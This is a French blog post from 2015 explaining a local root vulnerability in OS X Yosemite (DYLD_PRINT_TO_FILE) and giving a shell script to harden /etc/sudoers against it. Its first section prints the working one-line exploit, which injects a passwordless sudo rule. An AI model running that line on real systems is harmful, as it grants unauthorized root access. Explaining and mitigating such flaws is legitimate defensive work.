Une faille de sécurité sur OS X Yosémite (10.10.*) permet d'obtenir un accès root en une ligne de commande. Nous allons ici écrire un script qui permet de se protéger de cette faille.





0x01. EXPLOIT


La faille réside dans le fait, que la variable DYLD_PRINT_TO_FILE permet une redirection vers un fichier qui ne nous appartient pas.
Il n'y qu'à se donner les droits pour tout exécuter sans mot de passe, en modifiant le fichier sudoers ;


 
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >&3'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo sh -c whoami
 




0x02. SECURISATION


Pour se protéger de cette faille, il suffit de protéger les fichiers sudoers, et tant de crocheter le programme visudo afin de tout de même pouvoir l'éditer :


 
file /usr/sbin/visudo |grep "script" ||sudo mv /usr/sbin/visudo /usr/sbin/visudo.bin
 

 
cat << EOF |sudo tee /usr/sbin/visudo
#!/bin/sh
 
f=/etc/sudoers
 
/usr/bin/chflags noschg "\\$f"
/bin/chmod u+w "\\$f"
 
/usr/sbin/visudo.bin
 
/bin/chmod ugo-w "\\$f"
/usr/bin/chflags schg "\\$f"
/bin/ls -lO@Ge "\\$f"|GREP_COLOR="1;32" /usr/bin/grep "schg"
EOF
 
sudo /usr/sbin/chown root:wheel /usr/sbin/visudo
sudo /bin/chmod 0755 /usr/sbin/visudo
sudo /bin/chmod ugo-w "/etc/sudoers"
sudo /usr/bin/chflags schg "/etc/sudoers"
 

Je vous conseil - en plus, d'installer SUID Guard NG, qui vous protège les programmes lancés avec des droits administrateur (root) d'un surchargement des variables d'environnement (DYLD_*).
Vous pouvez télécharger SUID Guard NG ici.




   =>   Écrit par : Nicolas, le 30 juillet 2015


 
Mots clés :  
  macos 
  
  vuln 
    >   Articles connexes :

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS



OSX/CVE-2015-5889


# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root # tested on osx 10.9.5 / 10.10.5 # jul/2015 # by...

7418360